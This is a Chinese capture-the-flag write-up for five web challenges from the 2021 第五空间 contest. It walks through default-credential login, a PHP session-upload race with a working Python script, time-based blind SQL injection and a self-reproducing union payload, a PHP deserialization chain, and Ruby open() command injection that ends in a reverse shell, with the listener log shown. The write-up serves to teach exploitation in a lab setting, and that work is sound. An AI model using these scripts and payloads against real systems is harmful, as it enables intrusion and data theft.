[第五空间 2021] Web题解

WebFTP

在这里插入图片描述
题目是一个网站管理工具WebFTP2011,上网搜索WebFTP,可以在github中找到这个项目,从README中获取初始用户名和密码

使用说明 1、初始账号 超级管理员 admin 密码 admin888
在这里插入图片描述

成功登陆后寻找服务器的网站目录,随便翻看有无可疑文件,最后在phpinfo中找到flag
在这里插入图片描述

EasyCleanup

题目给出index源码

<?php 
if(!isset($_GET['mode'])){ 
    highlight_file(__file__); 
}else if($_GET['mode'] == "eval"){ 
    $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; 
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); 
    eval($shell); 
} 


if(isset($_GET['file'])){ 
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); 
    include $_GET['file']; 
} 


function filter($var){ 
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; 

    foreach($banned as $ban){ 
        if(strstr($var, $ban)) return True; 
    } 

    return False; 
} 

function checkNums($var){ 
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $cnt = 0; 
    for($i = 0; $i < strlen($alphanum); $i++){ 
        for($j = 0; $j < strlen($var); $j++){ 
            if($var[$j] == $alphanum[$i]){ 
                $cnt += 1; 
                if($cnt > 8) return True; 
            } 
        } 
    } 
    return False; 
} 
?>

session包含思路
由源代码可知,攻击点共有两个,一个是变量shell的rce,一个是file的文件包含,由于shell变量需要经过filter($shell) | checkNums($shell),限制太多,想要rce几乎无从下手,于是我们考虑从file寻找攻击点
首先访问/?mode=eval后可以看到phpinfo的内容
在这里插入图片描述

session.save_handler = files 表示session是以文件形式存储的
session.save_path =/tmp 表示session文件的存储目录在/tmp下
session.auto_start = off 表示默认不开启session

通常要进行session包含必须使用到函数session_start();而在本题中确没有这个函数,无法存储session文件,但本题可以利用session.upload_progress进行文件包含

session.upload_progress.enabled = on 表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
session.upload_progress.cleanup = on 表示当文件上传结束后,php将会立即清空对应session文件中的内容(想要包含session需要利用条件竞争)
session.upload_progress.name 表示当PHP_SESSION_UPLOAD_PROGRESS出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
session.use_strict_mode = off 这个选项默认值为off,表示我们对Cookie中sessionid可控。

当我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。我们就可以采用自定义cookie的方法来存储session文件,并用session.upload_progress.name来控制文件的内容,然后再进行文件包含,实现rce

脚本实现

# -*- coding: utf-8 -*-
import io
import requests
import threading

myurl = 'http://1.14.71.254:28001/'
sessid = 'h2tg'
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');?>"}
flag = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat /nssctfasdasdflag');?>"}
mycookie = {'PHPSESSID': sessid}

def writeshell(session):
    while True:
        #resp = requests.post(url=myurl, data=writedata, files={'file': ('1.txt', 123)}, cookies=mycookie)
        resp = requests.post(url=myurl, data=flag, files={'file': ('1.txt', 123)}, cookies=mycookie)

def getshell(session):
    while True:
        payload_url = myurl + '?file=' + '/tmp/sess_' +sessid
        resp = requests.get(url=payload_url)
        if 'upload_progress' in resp.text:
            print(resp.text)
            break
        else:
            pass


if __name__ == '__main__':
    session = requests.session()
    writeshell = threading.Thread(target=writeshell, args=(session,))
    writeshell.daemon = True
    writeshell.start()
    getshell(session)

writeshell函数中保持上传文件,data的变量名要为PHP_SESSION_UPLOAD_PROGRESS,值为要执行的命令,上传的文件可以为任意文件,cookie要设置PHPSESSID为自定义的id
并在getshell函数中利用条件竞争去包含session文件,如果成功就把返回的html打印出来
在这里插入图片描述

在这里插入图片描述

yet_another_mysql_injection

在这里插入图片描述
题目是一个简单的登录系统,在注释中可以找到提示
访问/?source得到源码

 <?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>
<!-- /?source -->
<html>
    <body>
        <form action="/index.php" method="post">
            <input type="text" name="username" placeholder="账号"><br/>
            <input type="password" name="password" placeholder="密码"><br/>
            <input type="submit" / value="登录">
        </form>
    </body>
</html> 

尽管checkSql对$password的限制非常多,但还是可以对$password变量实现时间盲注,得到数据库名为CTF

import requests

url='http://1.14.71.254:28090/index.php'
str_range=range(48,123)
success='something'
str=''

for n in range(1,4):
    for i in str_range:
        payload="'/**/or/**/strcmp(mid(database(),%d,1),'%c')#"%(n,chr(i))
        login={'username':'admin','password':payload}
        r=requests.post(url,data=login)
        txt=r.text
        if success in txt:
            str+=chr(i)
            print(str)
            break
#CTF

但进一步的注入会发现表都是空的,那就必须要构造出满足条件的payload,即($row['password'] === $password)
以下为参考别人的文章进行payload构造

'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

第一次构造

mysql> select/**/replace(replace('.',char(34),char(39)),char(46),'.');
+------------------------------------------------------+
| replace(replace('.',char(34),char(39)),char(46),'.') |
+------------------------------------------------------+
| .                                                    |
+------------------------------------------------------+
1 row in set (0.00 sec)

使用replace函数,该语句会返回点号
但我们需要返回的是和查询语句一模一样的语句,故我们可以用语句本身来替换点号

第二次构造

第一次构造的sql语句
select/**/replace(replace('.',char(34),char(39)),char(46),'.');

将上述语句中的点号替换为以下语句
replace(replace(".",char(34),char(39)),char(46),".");

mysql> select/**/replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

第三次构造

我们的payload形式应该为(最后有一个井号)
'/**/union/**/select/**/xxxxxx

初次构造的payload
'/**/union/**/select/**/replace(replace('.',char(34),char(39)),char(46),'.')#

将上述语句中的点号替换为以下语句
"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#

最终payload
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
mysql> select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#');
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')                          |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| '/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')# |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

在mysql中执行可以看到输出的值和我们的payload完全一致,即($row['password'] === $password)
传参后得到flag

pklovecloud

题目给出源码

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

构造pop链

<?php
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct($t) 
    {      
        if($t==1)
        {
            $this->cinder=new ace();
        }
    }  
}  

class ace
{    
    public $filename='flag.php';
    //public $filename='../nssctfasdasdflag';
    public $openstack;
    public $docker; 
    function __construct()  
    {
        $this->docker=serialize(new acp(0));
    }    

}  

$pop=new acp(1);
$pks=serialize($pop);

echo $pks;
echo '<br>';
echo urlencode($pks);

在这里插入图片描述
读取flag.php内容后得知flag在/nssctfasdasdflag下,把路径改为$filename='../nssctfasdasdflag'后得到flag
在这里插入图片描述

PNG图片转换器

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

该网站是一个将上传的png转换为base64的应用,在转换的代码中有以下部分

unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()

file参数必须要以.png结尾,且不能包含..,不能包含/,过滤完成之后会用open(file, 'r').read()打开,而ruby的open()函数是借用系统命令来打开文件的,所以可以进行命令注入,
详细原理见Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405)漏洞复现
对于file参数的过滤,可以考虑在命令注入的时候用base64编码后执行
直接反弹shell后找到flag

root@iZ2zec7mjp663ump9wsug3Z:~# nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 121.196.63.59 34648 received!
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/usr/src# ls
ls
app.rb
view
root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/usr/src# cd /
cd /
root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/# ls
ls
bin
boot
dev
etc
flag_13242
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/# cat flag_13242
cat flag_13242
ctfhub{9f618324e7abab7465e5fa6c}
  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值